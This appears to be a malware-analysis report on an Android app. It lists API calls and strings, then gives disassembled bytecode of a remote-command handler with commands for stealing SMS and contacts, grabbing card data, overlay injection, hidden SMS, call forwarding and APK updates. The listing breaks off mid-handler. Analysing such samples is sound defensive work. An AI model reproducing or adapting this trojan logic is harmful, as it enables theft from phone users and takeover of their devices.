                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.e
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.d
                                            • java.lang.String.equals
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.MainServiceJob.getPackageName
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.equals
                                            • improve.harbor.eager.MainServiceJob.g
                                            • java.lang.String.equals
                                            • org.json.JSONObject.getString
                                            • org.json.JSONObject.getString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.MainServiceJob.b
                                            • java.lang.String.equals
                                            • org.json.JSONObject.getString
                                            • java.lang.String.length
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.Permissions.c
                                            • improve.harbor.eager.MainServiceJob.e
                                            • improve.harbor.eager.MainServiceJob.getPackageManager
                                            • android.content.pm.PackageManager.canRequestPackageInstalls
                                            • android.content.Intent.<init>
                                            • android.content.Intent.setFlags
                                            • improve.harbor.eager.MainServiceJob.startActivity
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            • improve.harbor.eager.MainServiceJob.a
                                            • java.lang.String.equals
                                            • org.json.JSONObject.getString
                                            • java.lang.String.length
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.add
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.equals
                                            • org.json.JSONObject.getString
                                            • java.lang.String.length
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.content.Intent.<init>
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.net.Uri.fromParts
                                            • android.content.Intent.setData
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.MainServiceJob.startActivity
                                            • android.content.Intent.<init>
                                            • android.net.Uri.parse
                                            • android.content.Intent.setData
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.MainServiceJob.startActivity
                                            Strings
                                            • SERVER_PING_URL
                                            • Pinger
                                            • Sleeping for 1 second...
                                            • {"PING":"OK","COMMAND":"START_DEBUG"}
                                            • COMMAND
                                            • START_DEBUG
                                            • SEND_SMS
                                            • SEND_TO
                                            • SEND_MSG
                                            • NEW_URL
                                            • URL
                                            • TXT_45
                                            • TXT_C_6
                                            • SERVER_IP
                                            • KILL
                                            • TXT_44
                                            • http://127.0.0.1
                                            • SERVER_SMS_URL
                                            • KILLED
                                            • PING_SERVICE_WORKING
                                            • PING_DELAY
                                            • PING_SEC
                                            • TXT_46
                                            • ALL_SMS
                                            • DISABLE_ACCESSIBILITY
                                            • ENABLE_ACCESSIBILITY
                                            • TXT_39
                                            • ACCESSIBILITY_WATCHER_RUNNING
                                            • TXT_40
                                            • TXT_41
                                            • ENABLE_HIDDEN_SMS
                                            • TXT_55
                                            • HIDDEN_SMS_PERMISSION
                                            • Starting Hidden SMS
                                            • TXT_56
                                            • DISABLE_HIDDEN_SMS
                                            • TXT_52
                                            • TXT_53
                                            • android.provider.Telephony.ACTION_CHANGE_DEFAULT
                                            • package
                                            • DEFAULT_SMS_APP
                                            • TXT_54
                                            • ENABLE_CC_GRABBER
                                            • DISABLE_INJECT
                                            • TXT_37
                                            • DISABLE_CC_GRABBER
                                            • TXT_38
                                            • ENABLE_EXTENDED_INJECT
                                            • EXTENDED_INJECTION
                                            • TXT_35
                                            • DISABLE_EXTENDED_INJECT
                                            • TXT_34
                                            • DEBUG_TO_API
                                            • STOP_DEBUG
                                            • START_PERMISSIONS
                                            • GET_APPS
                                            • GET_PACKAGE_NAME
                                            • TXT_111
                                            • GET_CONTACTS
                                            • SEND_BULK_SMS
                                            • MSG
                                            • NUMBERS
                                            • MSG:
                                            • , Nums:
                                            • UPDATE_APK
                                            • UpdateAPK:
                                            • TXT_33
                                            • TXT_112
                                            • TXT_110
                                            • MainServiceJob
                                            • CANNOT REQUEST PACKAGE INSTALLS!
                                            • YES YOU CAN REQUEST PACKAGE INSTALLS!
                                            • TXT_113
                                            • INJECT_PACKAGE
                                            • PKG
                                            • TXT_107
                                            • :
                                            • CALL_FORWARD
                                            • NUM
                                            • TXT_108
                                            • android.intent.action.DIAL
                                            • **21*
                                            • #
                                            • tel
                                            • TXT_109
                                            • ##21#
                                            Position Instruction Meta Information
                                            0const/16 v8, 0x1a
                                            1const/4 v7, 0x2
                                            2const/4 v0, 0x0
                                            3const/4 v6, 0x1
                                            4new-instance v2, Limprove/harbor/eager/q;
                                            6iget-object v1, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            8const-string v3, "SERVER_PING_URL"
                                            10invoke-virtual {v1, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            11move-result-object v1
                                            13invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->i()Ljava/lang/String;
                                            14move-result-object v3
                                            16invoke-direct {v2, v1, v3}, Limprove/harbor/eager/q;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                            17new-instance v1, Ljava/lang/Thread;
                                            19invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                                            21invoke-virtual {v1}, Ljava/lang/Thread;->start()V
                                            22cond_1e:
                                            23iget-object v1, v2, Limprove/harbor/eager/q;->a:Ljava/lang/StringBuilder;
                                            25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            26move-result-object v3
                                            28invoke-virtual {v3}, Ljava/lang/String;->length()I
                                            29move-result v1
                                            30if-gtz v1, :cond_39
                                            31add-int/lit8 v1, v0, 0x1
                                            32try_start_2c:
                                            33const-string v0, "Pinger"
                                            35const-string v4, "Sleeping for 1 second..."
                                            37invoke-static {p0, v0, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            38const-wide/16 v4, 0x3e8
                                            40invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V
                                            41try_end_38: move v0, v1
                                            42goto_39: const/16 v1, 0xa
                                            43if-gt v0, v1, :cond_43
                                            45invoke-virtual {v3}, Ljava/lang/String;->length()I
                                            46move-result v1
                                            47if-lez v1, :cond_1e
                                            48cond_43:
                                            49invoke-virtual {v3}, Ljava/lang/String;->length()I
                                            50move-result v0
                                            51if-lez v0, :cond_81
                                            52try_start_49: new-instance v1, Lorg/json/JSONObject;
                                            54invoke-direct {v1, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                                            • Time: 1517044
                                              • p0: {"PING":"OK","COMMAND":"START_DEBUG"}
                                              • Return:
                                                • {"PING":"OK","COMMAND":"START_DEBUG"}
                                            56const-string v0, "COMMAND"
                                            58invoke-virtual {v1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                            • Time: 1517047
                                              • This:
                                                • {"PING":"OK","COMMAND":"START_DEBUG"}
                                              • p0: COMMAND
                                              • Return:
                                                • true
                                            59move-result v0
                                            60if-eqz v0, :cond_81
                                            62const-string v0, "COMMAND"
                                            64invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            • Time: 1517050
                                              • This:
                                                • {"PING":"OK","COMMAND":"START_DEBUG"}
                                              • p0: COMMAND
                                              • Return:
                                                • START_DEBUG
                                            65move-result-object v0
                                            66if-eqz v0, :cond_81
                                            68const-string v0, "COMMAND"
                                            70invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            • Time: 1517052
                                              • This:
                                                • {"PING":"OK","COMMAND":"START_DEBUG"}
                                              • p0: COMMAND
                                              • Return:
                                                • START_DEBUG
                                            71move-result-object v0
                                            73const-string v2, "SEND_SMS"
                                            75invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            76move-result v2
                                            77if-eqz v2, :cond_88
                                            79invoke-static {p0}, Limprove/harbor/eager/Permissions;->a(Landroid/content/Context;)Z
                                            80move-result v2
                                            81if-eqz v2, :cond_88
                                            83const-string v0, "SEND_TO"
                                            85invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            86move-result-object v0
                                            88const-string v2, "SEND_MSG"
                                            90invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            91move-result-object v1
                                            93invoke-direct {p0, v0, v1}, Limprove/harbor/eager/MainServiceJob;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            94goto_81: return-void
                                            95catch_82: move-exception v0
                                            97invoke-virtual {v0}, Ljava/lang/InterruptedException;->printStackTrace()V
                                            98move v0, v1
                                            99goto/16 :goto_39
                                            100try_start_88:
                                            101const-string v2, "NEW_URL"
                                            103invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            104move-result v2
                                            105if-eqz v2, :cond_dd
                                            107const-string v0, "URL"
                                            109invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            110move-result-object v0
                                            111new-instance v1, Ljava/lang/StringBuilder;
                                            113invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            115const-string v2, "TXT_45"
                                            117invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            118move-result-object v2
                                            120invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            121move-result-object v1
                                            123invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            124move-result-object v1
                                            126invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            127move-result-object v1
                                            129invoke-static {p0, v1}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            131const-string v1, "TXT_C_6"
                                            133invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            134move-result-object v1
                                            135new-instance v2, Ljava/lang/StringBuilder;
                                            137invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            139const-string v3, "TXT_45"
                                            141invoke-static {v3}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            142move-result-object v3
                                            144invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            145move-result-object v2
                                            147invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            148move-result-object v2
                                            150invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            151move-result-object v2
                                            153invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            155iget-object v1, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            157const-string v2, "SERVER_IP"
                                            159invoke-virtual {v1, v2, v0}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            160try_end_d7: goto/16 :goto_81
                                            161catch_d8: move-exception v0
                                            163invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                            164goto/16 :goto_81
                                            165try_start_dd:
                                            166const-string v2, "KILL"
                                            168invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            169move-result v2
                                            170if-eqz v2, :cond_141
                                            172const-string v0, "TXT_44"
                                            174invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            175move-result-object v0
                                            177invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            179const-string v0, "TXT_C_6"
                                            181invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            182move-result-object v0
                                            184const-string v1, "TXT_44"
                                            186invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            187move-result-object v1
                                            189invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            191iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            193const-string v1, "SERVER_PING_URL"
                                            195const-string v2, "http://127.0.0.1"
                                            197invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            199iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            201const-string v1, "SERVER_SMS_URL"
                                            203const-string v2, "http://127.0.0.1"
                                            205invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            207iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            209const-string v1, "KILLED"
                                            210const/4 v2, 0x1
                                            212invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            213move-result-object v2
                                            215invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            217invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->f()V
                                            219iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            221const-string v1, "PING_SERVICE_WORKING"
                                            223invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            224move-result-object v0
                                            226invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            227move-result v0
                                            228if-ne v0, v6, :cond_13b
                                            230iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            232const-string v1, "PING_SERVICE_WORKING"
                                            233const/4 v2, 0x0
                                            235invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            236move-result-object v2
                                            238invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            240invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->stopSelf()V
                                            241cond_13b: const/4 v0, 0x0
                                            243invoke-static {v0}, Ljava/lang/System;->exit(I)V
                                            244goto/16 :goto_81
                                            245cond_141:
                                            246const-string v2, "PING_DELAY"
                                            248invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            249move-result v2
                                            250if-eqz v2, :cond_194
                                            252const-string v0, "PING_SEC"
                                            254invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                            255move-result-object v0
                                            257const-string v1, "TXT_C_6"
                                            259invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            260move-result-object v1
                                            261new-instance v2, Ljava/lang/StringBuilder;
                                            263invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            265const-string v3, "TXT_46"
                                            267invoke-static {v3}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            268move-result-object v3
                                            270invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            271move-result-object v2
                                            273invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            274move-result-object v2
                                            276invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            277move-result-object v2
                                            279invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            281invoke-static {v0}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                            282move-result-wide v2
                                            283long-to-int v1, v2
                                            284mul-int/lit16 v1, v1, 0x3e8
                                            285iput v1, p0, Limprove/harbor/eager/MainServiceJob;->d:I
                                            286new-instance v1, Ljava/lang/StringBuilder;
                                            288invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                            290const-string v2, "TXT_46"
                                            292invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            293move-result-object v2
                                            295invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            296move-result-object v1
                                            298invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            299move-result-object v0
                                            301invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            302move-result-object v0
                                            304invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            305goto/16 :goto_81
                                            306cond_194:
                                            307const-string v2, "ALL_SMS"
                                            309invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            310move-result v2
                                            311if-eqz v2, :cond_1a1
                                            313invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->h()V
                                            314goto/16 :goto_81
                                            315cond_1a1:
                                            316const-string v2, "DISABLE_ACCESSIBILITY"
                                            318invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            319move-result v2
                                            320if-eqz v2, :cond_1ae
                                            322invoke-direct {p0}, Limprove/harbor/eager/MainServiceJob;->f()V
                                            323goto/16 :goto_81
                                            324cond_1ae:
                                            325const-string v2, "ENABLE_ACCESSIBILITY"
                                            327invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            328move-result v2
                                            329if-eqz v2, :cond_206
                                            331const-string v0, "TXT_C_6"
                                            333invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            334move-result-object v0
                                            336const-string v1, "TXT_39"
                                            338invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            339move-result-object v1
                                            341invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            343iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            345const-string v1, "ACCESSIBILITY_WATCHER_RUNNING"
                                            347invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            348move-result-object v0
                                            350invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            351move-result v0
                                            352if-eq v0, v6, :cond_1f5
                                            353new-instance v0, Landroid/content/Intent;
                                            354const-class v1, Limprove/harbor/eager/AccessibilityWatcher;
                                            356invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            357const/high16 v1, 0x10000000
                                            359invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            360sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                            361if-lt v1, v8, :cond_1f1
                                            363invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            364goto_1e6:
                                            365const-string v0, "TXT_40"
                                            367invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            368move-result-object v0
                                            370invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            371goto/16 :goto_81
                                            372cond_1f1:
                                            373invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            374goto/16 :goto_1e6
                                            375cond_1f5:
                                            376const-string v0, "TXT_C_6"
                                            378invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            379move-result-object v0
                                            381const-string v1, "TXT_41"
                                            383invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            384move-result-object v1
                                            386invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            387goto/16 :goto_81
                                            388cond_206:
                                            389const-string v2, "ENABLE_HIDDEN_SMS"
                                            391invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            392move-result v2
                                            393if-eqz v2, :cond_261
                                            395const-string v0, "TXT_C_6"
                                            397invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            398move-result-object v0
                                            400const-string v1, "TXT_55"
                                            402invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            403move-result-object v1
                                            405invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            407iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            409const-string v1, "HIDDEN_SMS_PERMISSION"
                                            411invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            412move-result-object v0
                                            414invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            415move-result v0
                                            416if-eq v0, v6, :cond_250
                                            418const-string v0, "TXT_C_6"
                                            420invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            421move-result-object v0
                                            423const-string v1, "Starting Hidden SMS"
                                            425invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            426new-instance v0, Landroid/content/Intent;
                                            427const-class v1, Limprove/harbor/eager/sms/AskToChangeSMS;
                                            429invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            430const/high16 v1, 0x10000000
                                            432invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            434invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->startActivity(Landroid/content/Intent;)V
                                            436const-string v0, "TXT_55"
                                            438invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            439move-result-object v0
                                            441invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            442goto/16 :goto_81
                                            443cond_250:
                                            444const-string v0, "TXT_C_6"
                                            446invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            447move-result-object v0
                                            449const-string v1, "TXT_56"
                                            451invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            452move-result-object v1
                                            454invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            455goto/16 :goto_81
                                            456cond_261:
                                            457const-string v2, "DISABLE_HIDDEN_SMS"
                                            459invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            460move-result v2
                                            461if-eqz v2, :cond_2d0
                                            463const-string v0, "TXT_C_6"
                                            465invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            466move-result-object v0
                                            468const-string v1, "TXT_52"
                                            470invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            471move-result-object v1
                                            473invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            475iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            477const-string v1, "HIDDEN_SMS_PERMISSION"
                                            479invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            480move-result-object v0
                                            482invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            483move-result v0
                                            484if-ne v0, v6, :cond_2bf
                                            486const-string v0, "TXT_C_6"
                                            488invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            489move-result-object v0
                                            491const-string v1, "TXT_53"
                                            493invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            494move-result-object v1
                                            496invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            497new-instance v0, Landroid/content/Intent;
                                            499const-string v1, "android.provider.Telephony.ACTION_CHANGE_DEFAULT"
                                            501invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                            502const/high16 v1, 0x10000000
                                            504invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            506const-string v1, "package"
                                            508iget-object v2, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            510const-string v3, "DEFAULT_SMS_APP"
                                            512invoke-virtual {v2, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            513move-result-object v2
                                            515invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                            517invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->startActivity(Landroid/content/Intent;)V
                                            519iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            521const-string v1, "HIDDEN_SMS_PERMISSION"
                                            522const/4 v2, 0x0
                                            524invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            525move-result-object v2
                                            527invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            528goto/16 :goto_81
                                            529cond_2bf:
                                            530const-string v0, "TXT_C_6"
                                            532invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            533move-result-object v0
                                            535const-string v1, "TXT_54"
                                            537invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            538move-result-object v1
                                            540invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            541goto/16 :goto_81
                                            542cond_2d0:
                                            543const-string v2, "ENABLE_CC_GRABBER"
                                            545invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            546move-result v2
                                            547if-eqz v2, :cond_2fe
                                            549iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            551const-string v1, "DISABLE_INJECT"
                                            552const/4 v2, 0x0
                                            554invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            555move-result-object v2
                                            557invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            559const-string v0, "TXT_C_6"
                                            561invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            562move-result-object v0
                                            564const-string v1, "TXT_37"
                                            566invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            567move-result-object v1
                                            569invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            571const-string v0, "TXT_37"
                                            573invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            574move-result-object v0
                                            576invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            577goto/16 :goto_81
                                            578cond_2fe:
                                            579const-string v2, "DISABLE_CC_GRABBER"
                                            581invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            582move-result v2
                                            583if-eqz v2, :cond_32c
                                            585iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            587const-string v1, "DISABLE_INJECT"
                                            588const/4 v2, 0x1
